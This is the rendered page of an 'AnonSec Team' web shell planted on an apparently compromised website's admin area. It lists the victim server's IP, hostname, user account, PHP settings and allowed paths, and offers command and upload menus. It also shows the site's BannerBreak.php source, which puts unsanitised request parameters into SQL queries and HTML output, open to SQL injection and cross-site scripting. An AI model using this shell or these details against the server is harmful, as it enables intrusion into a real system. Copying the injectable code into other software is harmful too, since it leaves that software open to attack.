AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/admin/css/../images/link/../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/admin/css/../images/link/../../BannerBreak.php
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"){
	echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
	exit;
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!-- Meta, title, CSS, favicons, etc. -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

   <title><?php  echo $config[web_title];?></title>
     <?php include("header-css.php");?>
		<!-- Ckeditor -->
			<script src="ckeditor/ckeditor.js"></script>
			<!-- 	<link rel="ckeditor/stylesheet" href="sample.css">  -->	
		<!-- Ckeditor -->
 
  </head>
<?php
  include ("Connections/function-sys.php");
 
?>
  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
		
		 <!-- Left side column. contains the logo and sidebar -->
		  <?php include("left-menu.php");?>
		 <!-- Left side column. contains the logo and sidebar -->

         <!-- Header -->
			<?php include("header.php");?>
		 <!-- Header -->

        <!-- page content -->
        <div class="right_col" role="main">
          <div class="">
			<!-- Start -->

            <div class="clearfix"></div><!-- เส้น -->

            <div class="row">
              <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">

					<div class="x_title">
                    <h2> Separator Banner </h2>
                    <div class="clearfix"></div>
                  </div>

                   <div class="x_content">
				   <!-- เริ่มต้น -->
					
					<?php
 
																
											switch($_REQUEST[action]){
												case "Insert2DB":
														if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
																 if(!empty($_FILES[Img1][name])){	
																	$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
																	$size=0;
																	$filename=date("YmdHis")."1";
																	$filename=upload_resizeIMG("Img1","slidecenter/picslide",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
																} 
																 
															    $sql="insert into banner_break (Img1,aDesc) 	values ('$filename','$_REQUEST[aDesc]')";
																$db->query($sql);
																$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
															}//ปิด Submit
															echo <<<DOC
															 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
															 <script>    
												 			 SweetAlert('$msg','$_SERVER[PHP_SELF]')
															</script>
DOC;
															break;

												default:
															if(empty($_REQUEST[page])){
																$page=1;
															}else
															{
																$page=$_REQUEST[page];
															}
															

															
																echo <<<DOC
																	
																	<CENTER>

																	<div style="width:99%">
																		<div   class="col-sm-12">
																				<div  class="col-sm-7">
																				<A HREF="$_SERVER[PHP_SELF]?action=AddForm">
																				<button type="button" class="btn btn-success btn-sm pull-left"><span class="glyphicon glyphicon-plus-sign"></span> <strong>เพิ่มข้อมูล</strong></button></A>
																				</div>
																				<div  class="col-sm-5 ">&nbsp;</div>
																				
																		</div><BR><BR>
																		

																		<table class="table table-hover" >
																		<thead>
																			<tr  class="warning" style="text-align: center">
																			  <th class="col-sm-1" style="text-align: center">ลำดับ</th>
																			  <th colspan=3>รายการ</th>
																			</tr>
																		  </thead>
																		  <tbody id="myTable">
DOC;
																	$sql ="select  *  from banner_break  order by aID ";
																	$row=$db->recCount($sql);
																	if($row!=0){
																			foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
																				$j=(($config[list4page]*$page)-($config[list4page]-1))+$i;
																				echo <<<DOC
																				<tr>
																				  <td style="text-align: center" width=5%>$j</td>
																				  <td><A HREF="$arr[aUrl]" target="banner_break"><IMG SRC="slidecenter/picslide/$arr[Img1]" WIDTH="400"  BORDER="0"></A></td>
																					<td style="text-align: center" width=1%><A HREF="$_SERVER[PHP_SELF]?action=AddForm&aID=$arr[aID]">
																							<button type="button" class="btn btn-success btn-xs" style="width:25px;"><span class="glyphicon glyphicon-pencil"></span></button></A></td>
																					<!-- <td style="text-align: center" width=1%>
																								<A HREF="#" onClick="sebSweetConfirm('$_SERVER[PHP_SELF]?action=del4Data&aID=$arr[aID]');">
 																								<button type="button" class="btn btn-danger btn-xs" style="width:25px;"><span class="glyphicon glyphicon-trash"></span></button></A></td> -->
																				</tr>
DOC;
																			}
																}else
														   {															
																echo <<<DOC
																	<tr>
																		<td colspan=5><BR><div align=center><strong>ไม่พบข้อมูล!</strong></div><BR></td>
																	</tr>
DOC;
															}
															echo "</tbody>
																		</table>
																	</div>";

															if($row!=0){
																echo "<div style=\"width:80%;text-align: left\">";
																echo $db->show_Page3($sql,$row,$config[list4page],$page,$_SERVER[PHP_SELF],"action=showList");
																echo "</div>
																			</CENTER>";
															}
															break;

												case "del4Data":
															$sql="delete from banner_break  where aID='$_REQUEST[aID]' ";
															$db->query($sql);
															echo <<<DOC
														 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
														 <script>    
															SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
														</script>
DOC;
															break;	
															
												case "Update2DB":
															if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
 															   if(!empty($_FILES[Img1][name])){	
																	$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
																	$size=0;
																	$filename=date("YmdHis")."1";
																	$filename=upload_resizeIMG("Img1","slidecenter/picslide",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize  resize เฉพาะรูปภาพ
																}else
															   {
																	$filename=$_REQUEST[Img2];
															   } 
 

																$sql="update banner_break set Img1='$filename',aDesc='$_REQUEST[aDesc]' where aID='$_REQUEST[aID]'";	
																$db->query($sql);
																$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
															}//ปิด Submit
															echo <<<DOC
															 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
															 <script>    
																 SweetAlert('$msg','$_SERVER[PHP_SELF]')
															</script>
DOC;
																break;

												
												case "AddForm":
													if(empty($_REQUEST[aID])){
														$action="Insert2DB";
													}else
													{
														$action="Update2DB";
														$sql="select  banner_break.* from banner_break 	where aID='$_REQUEST[aID]' ";
														$arrE=$db->getRec($sql);		
 													}
												?>
													<form id="banner_breakForm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal" enctype="multipart/form-data"  >
													<div class="col-lg-12">
															<div class="form-group">
																<label class="col-lg-2 control-label">ภาพประกอบ</label>
																<div class="col-lg-8">
																	<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
																	<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="Img1" size="40"  onchange='$("#upload-file-info").html($(this).val());'>
																</a>
																&nbsp;
																<span class='label label-info' id="upload-file-info"></span>
																<input     type="hidden" name="Img2" value="<?php echo $arrE[Img1];?>" />
 																</div>
															</div>
														
															<div class="form-group">
																<label class="col-lg-2 control-label">ข้อความ</label>
																<div class="col-lg-8">
																	<input type="text" class="form-control" name="aDesc" placeholder="ข้อความ"  value="<?php echo $arrE[aDesc];?>" />
																</div>
															</div>

															<div class="form-group">
															<div class="col-lg-11 col-lg-offset-2">

																<button type="submit"  name="submit"  class="btn btn-primary">บันทึก</button>
																<button type="button" class="btn btn-primary" onclick="self.location.href='<?php echo $_SERVER[PHP_SELF];?>' ">ยกเลิก</button>			
																<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
																<INPUT TYPE="hidden" NAME="aID" value="<?php echo $_REQUEST[aID];?>">
															</div>
														</div>

													</div>
													<!-- <div class="col-lg-10">-->
												</form>
											<?php
												break;
											}//ปิด switch?>

					<!-- สิ้นสุด -->

                  </div><!-- x_content -->
                </div><!-- x_panel -->
              </div>
            </div>

			<!-- Stop -->
          </div>
        </div>
        <!-- /page content -->

		<!-- Footer -->
		 <?php include("footer.php");?>
		<!-- Footer -->

      </div>
    </div>

 	 <?php include("header-script.php");?>

  </body>
</html>

AnonSec - 2021